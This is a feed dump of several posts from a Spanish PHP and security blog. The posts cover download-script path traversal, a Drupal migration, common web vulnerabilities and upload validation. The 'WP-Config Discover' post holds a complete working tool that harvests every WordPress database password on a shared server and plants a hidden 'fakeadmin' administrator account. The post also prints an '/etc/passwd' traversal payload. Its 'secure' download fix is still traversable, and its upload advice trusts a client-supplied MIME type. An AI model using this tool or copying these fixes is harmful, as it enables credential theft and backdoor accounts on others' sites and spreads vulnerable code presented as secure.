El rincón de Zerial » php http://blog.zerial.org Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio Tue, 20 Jul 2010 18:13:34 +0000 en hourly 1 http://wordpress.org/?v=3.0 Cómo validar correctamente la descarga de un archivo en php http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/ http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/#comments Sun, 18 Oct 2009 13:10:22 +0000 Zerial http://blog.zerial.org/?p=1009 Este post es debido a un correo que recibí preguntando como evitar el full path disclosure y el directory transversal desde un fichero php que realiza descargas. El error que plantearé a continuación es muy común en muchos sistemas web y ya he publicado varias webs vulnerables con este mismo problema. Corresponde a la forma de descarga tipo download.php?dir=ficheros/&file=test.pdf.

secure

Con una URL de este tipo, es posible forzar un FPD modificando las variables “dir” y “test”, cambiadolas por cualquier cosa que sepamos que no existe y de esta forma obtendremos un fichero php con un error, el cual nos revelará el path de la aplicación. Si cambiamos el valor de la variable “dir” a “../../../../../../etc/” y “file” a “passwd”, es muy probable que nos deje descargar el fichero /etc/passwd, lo mismo con cualquier otro fichero. De esta misma forma, podemos ir descargando uno a uno los códigos fuentes del sistema php y poder acceder a los usuarios y claves de conexion a la base de datos y otro tipo de información confidencial.

Me voy a basar en casos reales y tomando como ejemplo los típicos errores e irresponsabilidades de programación de los desarrolladores.

  1. < ?
  2. $nombre = $_GET[‘archivo’]; // Nombre del archivo
  3. $contenido = ‘Texto del archivo’; // Contenido del archivo
  4. $enlace = $_GET[‘folder’]."/".$_GET[‘archivo’];
  5. header ("Content-Disposition: attachment; filename=".$nombre."");
  6. header ("Content-Type: application/octet-stream");
  7. header ("Content-Length: ".filesize($enlace));
  8. readfile($enlace);
  9. ?>

Este es un script que me descargué hace un tiempo y no recuerdo de que sitio, pero es un ejemplo real y lo más probable es que aún esté en línea. Si nos fijamos línea por línea, el script realiza lo siguiente:

Lee las variables directamente desde la URL (GET) y en primera instancia, obtiene el valor de la variable “nombre” y se la asigna a $nombre, esto es para darle el nombre al archivo una vez que lo descarguemos. Luego, en la variable $enlace, guardará el path completo de lo que deseamos descargar, si le pasamos por URL los parametros folder=archivos/&archivo=test.pdf, el valor de la variable $enlace será “archivos/test.pdf”. Luego se enviarle las cabeceras al navegador, el script php leerá el fichero correspondiente al valor de la variable $enlace y forzará al navegador a descargarlo. De esta forma, si modificamos la url a nuestro modo, podremos descargar el fichero que queramos, ya que el script no tiene ninguna validación.

La forma correcta para hacer un script de este tipo, sería sin trabajar directamente con los parametros pasados por url y tenerlos encapsulados en algun lugar, ya sea en una base de datos, un switch o como sea, pero nunca directamente o bien, teniendo definido de forma explícita el directorio donde se trabaja.
Si tomamos el mismo ejemplo anterior y lo corregimos, debería quedar algo así:

  1. < ?
  2. $folder = "archivos_para_descargar";
  3. $nombre = $_GET[‘archivo’]; // Nombre del archivo
  4. $contenido = ‘Texto del archivo’; // Contenido del archivo
  5. $enlace = $folder."/".$_GET[‘archivo’];
  6. header ("Content-Disposition: attachment; filename=".$nombre."");
  7. header ("Content-Type: application/octet-stream");
  8. header ("Content-Length: ".filesize($enlace));
  9. readfile($enlace);
  10. ?>

De esta forma, jamás podremos cambiar el valor de la variable “$folder” y nunca podremos descargar un fichero que esté detrás del directorio de descarga explícitamente definido “archivos_para_descarga”. Esto, sería una forma rápida y fácil de solucionarlo, pero creo que la mejor forma es volver a hacerlo y hacerlo bien. Teniendo un “administrador” de subidas que almacene la información en una base de datos para luego realizar la descarga sólo con el ID del fichero o bien, hacer las descargas directamente con su path absoluto (http://sitio.com/archivos_para_descarga/2009/mi_documento.pdf).

Como ya he dicho, este error es muy común y basta con preparar una búsqueda con los parámetros necesarios en Google para poder acceder a sitios con estas vulnerabilidades. El problema es que con este bug, no solo comprometes la seguridad de tu sistema y de tu usuario, tambien la seguridad del resto de los usuarios del servidor, ya que el script se ejecutará como usuario www-data o apache (en la mayoría de los servidores) y tiene acceso no solo a tus ficheros.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/como-validar-correctamente-la-descarga-de-un-archivo-en-php/feed/ 10 Migración de datos en Drupal http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/ http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/#comments Fri, 02 Oct 2009 01:25:14 +0000 Zerial http://blog.zerial.org/?p=926 drupal_migra Drupal 6 nos provee de una API que nos permitirá trabajar directamente con el core, usando las funciones, módulos y configuraciones ya existentes. De esta forma, y gracias a los hooks, podemos realizar distintas funciones tales como agregar, eliminar y modificar usuarios y contenidos, manejar los comentarios, configuraciones, etc.
La idea de este artículo es ayudar a las personas que necesiten realizar una migración (importación/exportación) desde un sistema distinto hacia Drupal.

Las funciones que necesitamos de la API de Drupal son:

  1. user_save(): Permite la manipulación de los usuarios.
  2. node_save(): Manipulación de los nodos (contenidos).
  3. db_query(): Nos permite realizar consultas a la base de datos usando la configuración de Drupal.

Con estas funciones ya podemos pensar en realizar una migración total o partial de un sitio. La lógica del asunto es sencilla, tenemos que hacer un “wrapper” que conecte ambas plataformas (hablando de base de datos y ficheros), hacer que por un lado se conecte a la base de datos de la plataforma antigua y por otro lado a Drupal, que vaya leyendo los datos desde la plataforma antigua y luego insertandolos en la nueva plataforma usando las funciones de la API, por ejemplo, si tenemos la tabla usuarios con los tipicos campos nombre, email, usuario, password, en Drupal la estructura de la tabla {users} es similar, contiene los campos email, name y pass (los que nos sirven) entre otros. Entonces lo que debemos hacer es un pequeño script que haya un SELECT email, password, usuario FROM usuarios y hacer que cada registro que lea, lo inserte en la tabla {users} mediante la API (función user_save()).
Ejemplo:

  1. $var1 = mysql_query("SELECT email,password,usuario FROM usuarios", $link);
  2. while($data = mysql_fetch_array($var1)){
  3.    $userdata = array(
  4.                         ‘status’ => 1,
  5.                         ‘name’ => $data[‘usuario’],
  6.                         ‘pass’ => ’123′,
  7.                         ‘picture’ => $_avatar,
  8.                         ‘mail’ => $data[‘email’],
  9.                 );
  10.                 user_save(”, $userdata);
  11. }

El tema de la contraseña es más complicado, va a depender únicamente de que si la contraseña está en texto plano o encriptada en la base de datos de origen. Si esta en texto plano, entonces basta con agregar al arreglo userdata el valor $data['password'] a la variable pass. De lo contrario, tendremos que hacer un pequeño truco. Creamos el usuario asignandole una clave fake, por ejemplo 123456 y posteriormente, usando la función db_query, hacemos el UPDATE necesario para cambiarle el password al usuario creado, ingresando directamente el HASH original (pensando que esta en md5).

Para realizar la migración de contenido, el procedimiento es de la misma forma, seleccionar la información de un lado y llevarla a otra usando la función node_save.
Si algo se nos escapa de las manos y no sabemos como hacerlo, basta con que entendamos el modelo de la base de datos e ingresemos directamente las consultas a la base de datos (no lo recomiendo).

Hace unos días me tocó la tarea de realizar la migración de una plataforma X a Drupal, para esto diseñe una clase que me permite hacer la migración paso por paso.

  1. < ?php
  2.  
  3. chdir("api/");
  4. include_once ‘api/includes/bootstrap.inc’;
  5. drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
  6. flush();
  7.  
  8. class Drupal{
  9.         private $user;
  10.         private $id_uid;
  11.  
  12.         public $counter;
  13.  
  14.         public function __construct(){
  15.                 $this->id_uid = array();
  16.                 $this->counter = array(‘users’ => 0, ‘news’ => 0, ‘comments’ => 0);
  17.                 $this->clearDatabase();
  18.         }
  19.         public function clearDatabase(){
  20.                 $_queries = array(
  21.                         ‘users’ => ‘DELETE FROM dp_users WHERE name != \’admin\’ AND name != \’asdf\’‘,
  22.                         ‘nodes’ => ‘DELETE FROM dp_node WHERE type NOT IN (\’intro\’, \’adminpage\’)’,
  23.                         ‘comments’ => ‘DELETE FROM dp_comments’,
  24. //                      ‘terms_rel’ => ‘DELETE FROM dp_term_node’,
  25. //                      ‘terms’ => ‘DELETE FROM dp_term_data WHERE tid NOT IN (3, 6)’,
  26.                         ‘groups’ => ‘DELETE FROM dp_og’,
  27.                         ‘groups_uid’ => ‘DELETE FROM dp_og_uid’,
  28.                         ‘groups_ancestry’ => ‘DELETE FROM dp_og_ancestry’,
  29.                         ‘groups_notifications’ => ‘DELETE FROM dp_og_notifications’,
  30.                         ‘dp_job_posting’ => ‘DELETE FROM dp_job_posting’,
  31.                         ‘dp_job_posting_country’ => ‘DELETE FROM dp_job_posting_country’,
  32.                 );
  33.                 foreach($_queries as $query){
  34.                         print ">>[DP_SQL] ".$query."\n";
  35.                         db_query($query);
  36.                 }
  37.         }
  38.         public function createUser($data){
  39.                 $_avatar_base_path = "sites/default/files/pictures/";
  40.                 $_avatar = ($data[‘avatar’] == "usuarioSinAV.jpg")?NULL:$_avatar_base_path.$data[‘avatar’];
  41.                 $_user = array(
  42.                         ‘status’ => 1,
  43.                         ‘access’ => time(),
  44.                         ‘name’ => $data[‘username’],
  45.                         ‘pass’ => ’123′,
  46.                         ‘picture’ => $_avatar,
  47.                         ‘profile_nombres’ => $data[‘nombres’],
  48.                         ‘profile_apellido’ => $data[‘apellidos’],
  49.                         ‘profile_intereses’ => $data[‘about’],
  50.                         ‘profesion’ => $data[‘profesion’],
  51.                         ‘mail’ => $data[‘email’],
  52.                 );
  53.                 $user = user_save(”, $_user);
  54.                 self::_setPassword($user->uid, $data[‘password’]);
  55. //              self::_setUserRole($user->uid);
  56.                 self::_configureProfile($data, $user->uid);
  57.                 if($data[‘admin’]) self::_setAdmin($user->uid);
  58.                 $this->user = &$user;
  59.                 $this->id_uid[$data[‘id’]] = $user->uid;
  60.                 $this->counter[‘users’]++;
  61.         }
  62.         public function createContent($data, $type){
  63.                 $node = new stdClass();
  64.                 $node->type = $type;
  65.                 $node->uid = $this->user->uid;
  66.                 $node->name = $user->user->name;
  67.                 $node->promote = 1;
  68.                 $node->format = FILTER_FORMAT_DEFAULT;
  69.                 $node->status = 1;
  70.                 $node->title = html_entity_decode($data[‘titulo’]);
  71.                 $node->body = $data[‘cuerpo’];
  72.                 $node->taxonomy = self::_convertTaxonomy();
  73.                 $node->comment = 2;
  74.                 $node->created = strtotime($data[‘fecha’]);
  75.                 print ">>[node:".$type."] ".substr($node->title, 0, 30)."… (".substr($node->body, 0, 20)." …) [tax:{".implode(";", $node->taxonomy)."},uid:".$node->uid."]\n";
  76.                 $this->counter[‘news’]++;
  77.                 node_save($node);
  78.                 $q = "INSERT INTO dp_node_access(nid, grant_view, realm) VALUES((SELECT MAX(nid) FROM dp_node),1, ‘all’)";
  79.                 db_query( $q );
  80.         }
  81.         public function insertCommentProfile($data){
  82.                 print ">>[comment;autor:".$this->id_uid[$data['autor']].",uid:".$data['userid']."] (".rtrim(substr($data[‘comentario’], 0, 30))." …)\n";
  83.                 db_query("INSERT INTO {comments} (pid, uid, hostname, comment, status, name, mail, homepage, timestamp) VALUES(%d, %d, ‘%s’, ‘%s’, %d, ‘%s’, ‘%s’, ‘%s’, %d)", $data[‘userid’], $this->id_uid[$data[‘autor’]], ’127.0.0.1′, $data[‘comentario’], 1, ”, ”, ”, time());
  84.                 $this->counter[‘comments’]++;
  85.         }
  86.  
  87.         private function _convertTaxonomy($taxonomy = NULL){
  88.                 $_categories = array();
  89.                 $_categories[] = 29;
  90.                 $_categories[] = 30;
  91.                 $_categories[] = 31;
  92.                 $_categories[] = 32;
  93.                 $_categories[] = 33;
  94.                 $_categories[] = 34;
  95.                 $_categories[] = 35;
  96.                 return array( ($taxonomy)?$_categories[–$taxonomy]:35 );
  97.         }
  98.         private function _setPassword($id, $md5){
  99.                 $query = "UPDATE dp_users SET pass = ‘".$md5."’ WHERE (name != ‘asdf’ AND name != ‘admin’) AND uid = ".$id;
  100.                 print ">>[DP_SQL] ".$query."\n";
  101.                 db_query($query);
  102.         }
  103.         private function _setAdmin($id){
  104.                 $table = "dp_users_roles";
  105.                 //$query = "UPDATE ".$table." SET rid = 4 WHERE uid = ".$id; # 4 es el que corresponde segun SELECT * FROM dp_role
  106.                 $query = "INSERT INTO ".$table."(rid, uid) VALUES(4, ".$id.")"; # 2 es el que corresponde segun SELECT * FROM dp_role
  107.                 print ">>[DP_SQL] ".$query."\n";
  108.                 db_query($query);
  109.         }
  110.         private function _setUserRole($id){
  111.                 $table = "dp_users_roles";
  112.                 $query = "INSERT INTO ".$table."(rid, uid) VALUES(2, ".$id.")"; # 2 es el que corresponde segun SELECT * FROM dp_role
  113.                 print ">>[DP_SQL] ".$query."\n";
  114.                 db_query($query);
  115.         }
  116.         private function _configureProfile($info, $_uid){
  117.                 $uid = $info[‘id’];
  118.                 $query = "SELECT a.nombre_esp FROM cat_paises a LEFT JOIN usr_users b ON b.pais = a.id WHERE b.id = ".$uid;
  119.                 $_r = mysql_result(sqlExec($query, ‘query’), 0, ‘nombre_esp’);
  120.                 db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(8, ".$_uid.", ‘".$_r."’)");
  121.  
  122.                 $query = "SELECT a.nombre_esp FROM paises a LEFT JOIN users b ON b.pais_residencia = a.id WHERE b.id = ".$uid;
  123.                 $_r = mysql_result(sqlExec($query, ‘query’), 0, ‘nombre_esp’);
  124.                 db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(9, ".$_uid.", ‘".$_r."’)");
  125.  
  126. /*                $query = "SELECT a.profesion FROM users a WHERE a.id = ".$uid;
  127.                 $_r = mysql_result(sqlExec($query, ‘query’), 0, ‘profesion’);
  128.                 db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(3, ".$_uid.", ‘".$_r."’)");*/
  129.  
  130.                 $query = "SELECT a.nombre FROM cat_usr a LEFT JOIN usr_users b ON b.categoria = a.id WHERE b.id = ".$uid;
  131.                 $_r = mysql_result(sqlExec($query, ‘query’), 0, ‘nombre’);
  132.                 db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(4, ".$_uid.", ‘".$_r."’)");
  133.  
  134.                 $query = "SELECT a.subcategoria_es FROM areas_ciencia_subcat a, usr_users b WHERE b.area_ciencia_subcat != 0 AND b.area_ciencia_subcat = a.id_subcat AND b.id = ".$_uid;
  135.                 if($_r = mysql_result(sqlExec($query, ‘query’), 0, ‘subcategoria_es’)){
  136.                         db_query("UPDATE dp_profile_values SET value = ‘".$_r."’ WHERE fid = 7 AND uid = ".$_uid);
  137. //                      db_query("INSERT INTO dp_profile_values(fid, uid, value) VALUES(7, ".$_uid.", ‘".$_r."’)");
  138.                 }
  139.         }
  140. }

Esta clase nos permite crear una instancia para trabajar con Drupal y de esta forma poder migrar usuarios, contenidos, asignar taxonomias/categorias, resetear claves, insertar comentarios, etc. Cada método público debe ser llamado pasando como argumento un array con la información que desea ser insertada. Por ejemplo, una llamda al método createUser:

  1. $_users = mysql_query("SELECT * FROM usuarios", $link);
  2. while($_users_row = mysql_fetch_array($_users)){
  3.         // Llamada a API drupal para crear usuario
  4.         $drupal->createUser($_users_row);
  5. }

Sencillamente, lo que hace este pedazo de código es consultar en una base de datos por todos los usuarios y posteriormente, por cada registro encontrado, llamar al método “createUsers” pasándole como argumento el row correspondiente al ciclo.

Les dejo el script “Migrar.php” que instancia la clase Drupal y hace uso de sus métodos:

  1. < ?php
  2. /*
  3.  * Lunes, 21 de Septiembre del 2009.
  4.  *
  5.  * Migrador de plataformas para
  6.  * Drupal.
  7.  *
  8.  */
  9.  
  10. // Config
  11. require_once("Config.php");
  12.  
  13. $conexion = mysql_connect($host, $username, $password) OR die("Error al conectar a la base de datos.\n");
  14.  
  15. // Llamada a nuestro wrapper
  16. require_once("Drupal.class.php");
  17.  
  18. if(!mysql_select_db($database, $conexion)){
  19.         print "Error al seleccionar la base de datos.\n";
  20. }
  21. else{
  22.         $start = time();
  23.         $drupal = new Drupal();
  24.        
  25.         // Usuarios
  26.         $table = "usr_users";
  27.         $query = "SELECT * FROM ".$table;
  28.         $_users = sqlExec($query, "print_query");
  29.         getRows($_users);
  30.         while($_users_row = mysql_fetch_array($_users)){
  31.                 // Llamada a API drupal para crear usuario
  32.                 $drupal->createUser($_users_row);
  33.                 // Fin
  34.                 $table = "infoc_news";
  35.                 $query = "SELECT * FROM ".$table." WHERE autor = ".$_users_row[‘id’]." ORDER BY fecha";
  36.                 $_news = sqlExec($query, "print_query");
  37.                 getRows($_news);
  38.                 while($_news_row = mysql_fetch_array($_news)){
  39.                         // Llamada a API drupal para crear contenido
  40.                         $drupal->createContent($_news_row, "news");
  41.                         // Fin
  42.                 }
  43.         }
  44.        
  45.         // Comentarios en perfiles
  46.         $table = "usr_comments";
  47.         $query = "SELECT * FROM usr_coments WHERE responseTo = 0";
  48.         $_comments = sqlExec($query, "print_query");
  49.         getRows($_comments);
  50.         while($_comments_row = mysql_fetch_array($_comments)){
  51.                 // Llamada a API drupal para insertar comentarios en perfiles
  52.                 $drupal->insertCommentProfile($_comments_row);
  53.                 // FIn
  54.         }
  55.         $stop = time();
  56.         $time = $stop – $start;
  57.         print "Migration done.\n";
  58.         print "+ Summary:\n";
  59.         print "|- Users:\t".$drupal->counter[‘users’]."\n";
  60.         print "|- Nodes:\t".$drupal->counter[‘news’]."\n";
  61.         print "|- Comments:\t".$drupal->counter[‘comments’]."\n";
  62.         print "|_ Time:\t".date("s", $time)." secs.\n";
  63. }
  64. /* sqlExec()
  65.  * Ejecuta y/o imprime una consulta SQL
  66.  */
  67. function sqlExec($query, $type){
  68.         global $conexion;
  69.         switch($type){
  70.                 case ‘print’:
  71.                         print ">>[SQL] ".$query."\n";
  72.                         break;
  73.                 case ‘query’:
  74.                         return mysql_query($query, $conexion);
  75.                         break;
  76.                 case ‘print_query’:
  77.                         print ">>[SQL] ".$query."\n";
  78.                         return mysql_query($query, $conexion);
  79.                         break;
  80.                 case ‘default’:
  81.                         print "Error en el modo de trabajo.\n";
  82.                         break;
  83.         }
  84.         return NULL;
  85. }
  86.  
  87. /* getRows()
  88.  * Imprime la cantidad de resultados obtenidas desde una consulta
  89.  */
  90. function getRows($resource){
  91.         print "< < ".mysql_num_rows($resource)." rows.\n";
  92. }
  93. ?>

NOTA Estos scripts son los originales que he usado para migrar una plataforma, si alguien quiere darle un uso personal debe hacer las modificaciones correspondientes que se adapten a su propio modelo de datos y a sus propias necesidades.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/documentacion/migracion-exportacion-importacion-datos-drupal/feed/ 0 WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor http://blog.zerial.org/seguridad/wp-config-discover/ http://blog.zerial.org/seguridad/wp-config-discover/#comments Mon, 10 Aug 2009 03:04:08 +0000 Zerial http://blog.zerial.org/?p=716 matrixwordpressWP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php.

Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).

Código

  1. < ?php
  2. $paths = array(
  3.     "blog",
  4.     "site",
  5.     "html",
  6.     "www",
  7.     "html/blog",
  8.     "www/blog",
  9.     "site/blog",
  10.     "wordpress",
  11.     "wp",
  12.     "www/wp",
  13.     "www/wordpress",
  14.     "html/wordpress",
  15.     "html/wp",
  16.     "public_html",
  17.     "public_html/blog",
  18.     "public_html/wp",
  19.     "public_html/wordpress",
  20. );
  21. $files = array(
  22.     "wp-config.php",
  23. );
  24. print "Checking for ….\n";
  25. if(!is_readable("/etc/passwd"))    die("err0r: can’t read /etc/passwd (safe mode?)");
  26. $_f = @file("/etc/passwd");
  27. foreach($_f as $usr){
  28.     $usr = explode(":", $usr);
  29.     $uid = $usr[2];
  30.     $home = $usr[5];
  31.     $usr = $usr[0];
  32.     if($uid >= 1000){
  33.         print $usr." (uid:".$uid."): ".$home."\n";
  34.         foreach($paths as $path){
  35.             if(file_exists($home."/".$path)) {
  36.             print "\tSearching in ".$home."/".$path."\n";
  37.                 foreach($files as $file){
  38.                     if(file_exists($home."/".$path."/".$file)){
  39.                          print "\t\tFound: ".$file."\n";
  40.                         $__f = @file($home."/".$path."/".$file);
  41.                         foreach($__f as $line){
  42.                             if(stristr($line, "DB_USER")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output); print "\t\t\t".str_replace("DB_USER’, ","usr=>", $output[1][0])."\n"; }
  43.                             if(stristr($line, "DB_PASSWORD")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output2); print "\t\t\t".str_replace("DB_PASSWORD’, ", "pwd=>", $output2[1][0])."\n"; }
  44.                             if(stristr($line, "DB_NAME")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output3); print "\t\t\t".str_replace("DB_NAME’, ", "db=>", $output3[1][0])."\n"; }
  45.                             if(stristr($line, "DB_HOST")) { preg_match_all(‘/define\(\’(.*)\);/’, $line, $output4); print "\t\t\t".str_replace("DB_HOST’, ", "host=>", $output4[1][0])."\n"; }
  46.                             if(stristr($line, "\$table_prefix")) { preg_match_all(‘/\$table_prefix(.*);/’, $line, $output5); print "\t\t\tprefix".$output5[1][0]."\n"; }
  47.                             flush();
  48.                         }
  49.                         print "\t\t\tURL: ".getURL($output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  50.                         if($_GET[‘attack’] == "create_user") print "\t\t\tUser/pass created: ".UserAdmin("create", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  51.                         if($_GET[‘attack’] == "delete_user") print "\t\t\tfakeadmin deleted: ".UserAdmin("delete", $output[1][0], $output2[1][0], $output3[1][0], $output4[1][0], $output5[1][0])."\n";
  52.                         flush();
  53.                     }
  54.                 }
  55.             }
  56.             flush();
  57.         }
  58.         flush();
  59.     }
  60. }
  61. function getURL($user, $pass, $db, $host, $prefix){
  62.     preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  63.     preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  64.     preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  65.     preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  66.     preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  67.     $sql = @mysql_connect($host, $user, $pass);
  68.     @mysql_select_db($db);
  69.     $_q = @mysql_query("SELECT option_value FROM ".$prefix."options WHERE option_name=’siteurl’", $sql);
  70.     @mysql_close($sql);
  71.     return @mysql_result($_q, 0, ‘option_value’);
  72. }
  73.  
  74. function UserAdmin($action, $user, $pass, $db, $host, $prefix){
  75.         preg_match_all(‘/, \’(.*)\’/’, $user, $user); $user = $user[1][0];
  76.         preg_match_all(‘/, \’(.*)\’/’, $pass, $pass); $pass = $pass[1][0];
  77.         preg_match_all(‘/, \’(.*)\’/’, $db, $db); $db = $db[1][0];
  78.         preg_match_all(‘/, \’(.*)\’/’, $host, $host); $host = $host[1][0];
  79.         preg_match_all(‘/\’(.*)\’/’, $prefix, $prefix); $prefix = $prefix[1][0];
  80.         $sql = @mysql_connect($host, $user, $pass);
  81.         @mysql_select_db($db);
  82.     if($action == "create"){
  83.         $wp_uid = rand(9990,99999);
  84.         @mysql_query("INSERT INTO ".$prefix."users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(".$wp_uid.", ‘fakeadmin’, md5(‘dummie’), ‘wordpress’, ‘dummie@wordpress.cl’, ‘http://’, NOW(), ”, 0, ‘wordpressdummieadmin’)", $sql);
  85.         @mysql_query("INSERT INTO ".$prefix."usermeta (user_id, meta_key, meta_value) VALUES (".$wp_uid.", ‘wp_capabilities’, ‘a:1:{s:13:\"administrator\";b:1;}’ )", $sql);
  86.     }
  87.     if($action == "delete"){
  88.         mysql_query("DELETE FROM ".$prefix."usermeta WHERE user_id=(SELECT id FROM ".$prefix."users WHERE user_login=’fakeadmin’)", $sql);
  89.         mysql_query("DELETE FROM ".$prefix."users WHERE user_login=’fakeadmin’", $sql);
  90.     }
  91.     @mysql_close($sql);
  92.     return "fakeadmin/dummie";
  93. }
  94. ?>

Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables attack=create_user o attack=delete_user. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.

Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser mortal.

El código está disponible tambien en http://codes.zerial.org/php/wp-config_discover.phps

nota: queda de más decir que es para uso educativo y es una herramienta de auditoría :)

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/wp-config-discover/feed/ 2 Vulnerabilidades más comunes en los sitios web http://blog.zerial.org/seguridad/vulnerabilidades-mas-comunes-en-los-sitios-web/ http://blog.zerial.org/seguridad/vulnerabilidades-mas-comunes-en-los-sitios-web/#comments Sat, 06 Jun 2009 21:06:28 +0000 Zerial http://blog.zerial.org/?p=335 Estamos en el año 2009 y es increible que existiendo tantas herramientas de auditoría y el peligro/riesgo que existe por el mal tratamiento de la información, los desarrolladores esten cayendo en errores tan básicos.

Voy a listar las vulnerabilidades que, según mi experiencia, son las más comunes en los sitios web.

  • File/Path Disclosure: Esta vulnerabilidad es más comun de lo que uno pueda imaginar, aunque generalmente para poder llegar a explotarla es necesario pasar algun sistema de autentificacion ya que es muy comun en sistemas donde los usuarios tienen acceso a descargar o subir información como un sitio de una Universidad, biblioteca, intranet, etc.
  • XSS (Cross-Site Scripting): Esta vulnerabilidad tambien es muy comun, aunque es un poco mas compleja de explotar, requiere conocimiento en javascript, manejos de cookies y un poco de experiencia en el tema. Con esta vulnerabilidad es posible robar cookies para ingresar a algun sistema autentificado con un usuario ajeno.
  • SQL Injection: Hace un tiempo fue el boom de esta vulnerabilidad, muchos sitios tenian fallos de este tipo. Estuvo de moda explotar vulnerabilidades de phpnuke o phpbb basadas en SQL Injection que nos permitian escalacion de privilegios. Esta tecnica consiste basicamente en manipular una consulta sql para lograr nuestro proposito como saber nombre de tablas, version de la base de datos y tambien manipular ingresos de datos a la base de datos para modificar campos de tablas, crear archivos, cambiar privilegios, etc.
  • Authentication bypass:  Desde mi punto de vista, esta vulnerabilidad, bug o fallo es uno de los mas estupidos que un programador/desarrollador puede cometer. Para hacer un login es necesario manejarse con el tema de cookies o sesiones, segun el lenguaje o las necesidades y cuando una persona sin estos conocimientos intenta hacer un codigo de autentificacion sucede lo peor. El caso mas comun y sencillo de este tipo de fallo es saltarse el login haciendo un cambio en la URL. Por ejemplo, tenemos http://example.com/login.php y nos damos cuenta que ese login.php hace un POST con nuestros datos a http://example.com/admin/valida.php, luego, sin ingresar ningun usuario ni password escribimos manualmente la url http://example.com/admin y sorpresa! estamos en el sitio de admin sin usuario pass ni nada, habiendonos saltado el login. Aunque no lo crean, es bastante comun.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/vulnerabilidades-mas-comunes-en-los-sitios-web/feed/ 2 Validar correctamente la subida de un archivo con php http://blog.zerial.org/seguridad/php-validar-subida-fichero/ http://blog.zerial.org/seguridad/php-validar-subida-fichero/#comments Thu, 04 Jun 2009 17:09:52 +0000 Zerial http://blog.zerial.org/?p=333 Cuando nos enfrentamos a esta situación se nos viene a la cabeza distintas formas de querer validar un fichero, según sea la necesidad; por tamaño, extension, etc.
Lo que voy a explicar es como realizar la una validación correcta y eficiente del tipo de archivo que se está subiendo y aprovecho de explicar tambien la importancia de realizar bien esta validación.

Antes que todo, hay que tener en claro como funciona esto de la subida de archivos y tener en mente que la validación se puede y debe hacerse a nivel de cliente y a nivel de servidor. Muchas veces me he enfrentado a situaciones donde el desarrollador solo hace la validación a nivel de cliente, en javascript. Por ejemplo, así:

  1. <script>
  2. function validar(archivo){
  3.    var b = archivo.split(‘.’);
  4.    if(b[b.length-1] == ‘txt’)
  5.       return true;
  6.    else{
  7.       alert(‘Error: El archivo debe ser .txt’);
  8.       return false;
  9.    }
  10. }</script>

Si llamamos a esa función pasando como parámetro archivo.txt no mostrara ningún error, de lo contrario, si pasamos otro argumento como pelicula.avi devolverá error y no nos dejará continuar.
Este tipo de validación es el menos eficiente, ya que realizar una petición por POST sin pasar por el formulario es algo muy simple, basta con tener las herramientas necesarias como por ejemplo curl.
Hay que dejar en claro que el hecho de validar un formulario unicamente en javascript es una gran irresponsabilidad, ya sea la validación de unos simples datos como los típicos nombres, apellidos, email hasta la subida de archivos. El realizar una validación por javascript nos entrega una capa más de seguridad, pero no la única.

Cuando realizamos un upload, para que el archivo pueda ser validado y procesado a nivel de servidor (php), es necesario que el archivo exista fisicamente en el servidor, es decir, que ya se haya subido, lo que no significa que vaya a ser publicado.

ciclo de validacion

La validación correcta para el tipo de un archivo es mediante mime-type y no mediante su extension, ya que cambiarla es muy simple. El mime-type viene impregnado en las cabeceras del archivo y php es capáz de acceder a ellas cuando el fichero se encuentra en nuestro directorio temporal (ver imágen).
Cuando ya hemos realizado el upload, antes de realizar la operación mode_uploaded_file() debemos hacer la validación por su mime:

  1. < ?php
  2. $_FILES[‘nombreDelCampo’][‘type’];
  3. ?>
  4.  

En esa variable se guardara el mimetype del fichero que ya hemos subido y que, actualmente, esta en nuestro directorio temporal. Los tipos de mimes pueden ser:

[...]
image/jpeg
image/png
image/gif
text/plain
application/octet-stream
audio/mpeg3
application/msword
[...]

Lista más completa de MimeTypes.

